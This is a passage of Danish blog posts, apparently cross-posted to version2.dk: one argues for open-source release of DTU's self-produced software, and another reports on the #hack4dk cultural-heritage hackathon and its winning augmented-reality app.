Jeg blev nødt til at blive klogere, så jeg tog kontakt til administrationen på DTU. Her fik jeg en god snak med Francis Romstad, der til dagligt hjælper universitetets forskere med at anvende deres resultater kommercielt. Her var sagen klar: Han bekymrede sig mest om den kommercielle udnyttelsen af patenter og opfindelser der kunne patenteres.

Selvom ophavsretten til et værk, fremstillet af en ansat forsker eller ph.d. studerende ved universitetet, tilhører universitetet, så har han ingen umiddelbar grund til, at man ikke kunne open source offentliggøre kildekoden til et værktøj der blev fremstiller til et kursus.

Omend systemerne var underlagt universitetets ophavsret – hvilke ikke er tilfældet eftersom de begge er produkter af en studerendes arbejde og ikke af en ansat forsker – *ville alle så ikke vinde ved at lade projekterne frigives under en open-source licens? *Det ville tillade de studerende og undervisere fra andre kurser muligheden for at rette de fejl, mangler og sikkerhedshuller som værktøjet har.

Men hvad gik galt?

Jeg tror at underviserene ved universitetet mangler en klar udmelding fra administrationen. Helst en åben tilkendegivelse af, at hvis man som forsker eller studerende fremstiller et værktøj, så er det velset af det offentliggøres under en open source licens. Jeg mener at det bør være en officiel bestræbelse for universiteter som DTU (med dertil hørende ressourcer og vejledning), at universitetets egenproducerede software forbedres som open-source, uanset om universitet kan indse at de producerer software eller ej?

Det er i denne sammenhæng interessant at læse DTU’s officielle IT politik, der dikterer at “DTU’s IT-anvendelse bør gøre brug af den viden om IT og IT-forskning, der findes og udvikles i DTU’s forskningsmiljøer”. Det kan være meget svært at praktisere dette, hvis man ikke kan indgå i en åben dialog omkring systemernes design og kildekode.

Hvis jeg blæser den helt op og sætter den på spidsen kunne dette sågar inspirere til en udvidet version af den statslige digitaliseringsstrategi, som et redskab til at opnå at “universiteterne skal være digitale fra optagelse til eksamensbevis”.

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Udviklere samlet til kulturarvshackathon ved #hack4dk

Posted by & filed under In Danish, Studiebloggen.

Hvad sker der når man slipper tøjlerne og lader udviklere gå i kødet på danske kulturarvs institutionernes åbne webservices? Det var der ingen der vidste før Nationalmuseet, Det Kongelige Bibliotek og Kulturstyrelsen slog kræfterne sammen og arrangerede det første og bedste kulturarvs hackathon – nogensinde.

Vi startede fredag morgen med 8 lynhurtige og inspirerende ignite talks – et hæsblæsende format, hvor taleren gives 5 minutter, til at præsentere 20 slides der hver vises i 15 sekunder. Alle oplæg havde en forbindelse til åbne data eller open source udvikling.

Fredag kl. 13 blev arrangementet for alvor sparket i gang, da vi blev samlet i Den Sorte Diamant. Super god stemning og der blev snakket på tværs af både institutioner og fagområde. Rigtig inspirerende og thumbs up til arrangørerne for planlægningen, god mad og fine faciliteter – det eneste minus jeg kan komme i tanke om var den forholdsvis lange vej til toiletterne. Netop dette kan være et problem når man som udvikler sidder og laver noget så interessant at det var svært at slippe tastaturet.

Resultatet blev intet mindre end 10 unikke hacks og vinderne af årets hackathon var Maksim Sorokin and Kostas Rutkauskas, der havde bygget en native Android app som udpegede fredede og bevaringsværdige bygninger ved brug af augmented reality og Kulturstyrelsens dataset.

En ting er sikkert – jeg kommer igen næste år, så må vi håbe at de også afholder det igen.

  • Hvis du er udvikler, kommer du næste år og hvad vil du lave?
  • Hvis du ikke er udvikler: Hvad ville du lave – hvis du selv kunne programmere?
  • Hvis du var med til #hack4dk: Hvad var din oplevelse af arrangementet?

Skriv gerne dit svar i en kommentar og se flere billeder fra arrangementet på Jacob Wangs flickr-set.

Læs også indlægget om “Staten forærer CVR- og matrikelnumre væk i datafest” måske får vi endnu flere dataset vi kan hacke med næste år.

This article was originally posted on version2.dk

Click to read (please post and read comments there)